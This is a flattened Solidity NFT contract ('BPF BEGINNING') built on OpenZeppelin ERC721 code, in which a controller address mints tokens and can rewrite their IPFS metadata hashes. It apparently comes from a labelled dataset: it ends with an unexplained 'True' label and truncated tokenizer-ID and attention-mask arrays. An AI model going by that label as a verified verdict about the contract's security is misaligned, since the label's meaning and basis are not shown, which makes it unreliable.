function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//import "./IERC165.sol";
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//import "./IERC721.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
//import "./IERC721Receiver.sol";
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
//import "./extensions/IERC721Metadata.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
//import "../../utils/Address.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//import "../../utils/Strings.sol";
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
//import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
//import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
contract Token is Ownable, ERC721 {
address constant private OWNER_ADDRESS = 0x19a96E09F7d31fAA67d454440349Ef15bdc5A650;
address constant private CONTROLLER_ADDRESS = 0x822f6043F58efd7eFDE5D9dc97B875EbE1131fa9;
string constant private TOKEN_NAME = "BPF BEGINNING";
string constant private TOKEN_SYMBOL = "BPFB";
// トークンIDのオフセット(1はじめ)
uint256 constant private TOKEN_ID_OFFSET = 1;
// ストレージ
address private _controller;
string[] private _meta_hashes;
//-----------------------------------------
// [modifier] コントローラーからのみ呼び出せる
//-----------------------------------------
modifier onlyController() {
require( controller() == _msgSender(), "caller is not the controller" );
_;
}
//-------------------------------------------------
// コンストラクタ
//-------------------------------------------------
constructor() Ownable() ERC721( TOKEN_NAME, TOKEN_SYMBOL ) {
transferOwnership( OWNER_ADDRESS );
_controller = CONTROLLER_ADDRESS;
}
//-------------------------------------------------
// [public] コントローラーの確認
//-------------------------------------------------
function controller() public view returns (address) {
return( _controller );
}
//-------------------------------------------------
// [external/onlyOwner] コントローラーの設定
//-------------------------------------------------
function setController( address __controller ) public onlyOwner {
_controller = __controller;
}
//-------------------------------------------------
// [public] 次のトークンID
//-------------------------------------------------
function nextTokenId() public view returns (uint256) {
return( _meta_hashes.length + TOKEN_ID_OFFSET );
}
//-------------------------------------------------
// [public] メタハッシュの確認
//-------------------------------------------------
function metaHash( uint256 tokenId ) public view returns (string memory) {
require( _exists( tokenId ), "nonexistent token" );
return( _meta_hashes[tokenId-TOKEN_ID_OFFSET] );
}
//-------------------------------------------------
// [extetrnal/onlyController] メタハッシュの修復
//-------------------------------------------------
function repairHash( uint256 tokenId, string calldata hash ) external onlyController {
require( _exists( tokenId ), "nonexistent token" );
_meta_hashes[tokenId-TOKEN_ID_OFFSET] = hash;
}
//-------------------------------------------------
// [public] トークンURI
//-------------------------------------------------
function tokenURI( uint256 tokenId ) public view override returns (string memory) {
require( _exists( tokenId ), "nonexistent token" );
return( string( abi.encodePacked( "ipfs://", metaHash( tokenId ) ) ) );
}
//-------------------------------------------------
// [extetrnal/onlyController] トークンの発行
//-------------------------------------------------
function mintTokens( uint256 tokenIdFrom, uint256 numMint, string[] calldata hashes ) external onlyController {
require( tokenIdFrom == nextTokenId(), "invalid tokenIdFrom" );
require( numMint == hashes.length, "invalid hashes length" );
for( uint256 i=0; i<numMint; i++ ){
require( bytes(hashes[i]).length > 0, "invalid hash" );
}
for( uint256 i=0; i<numMint; i++ ){
_safeMint( owner(), nextTokenId() );
_meta_hashes.push( hashes[i] );
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2484,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1022,
1012,
1021,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
1013,
1013,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
1035,
2275,
12384,
2121,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
3954,
1006,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
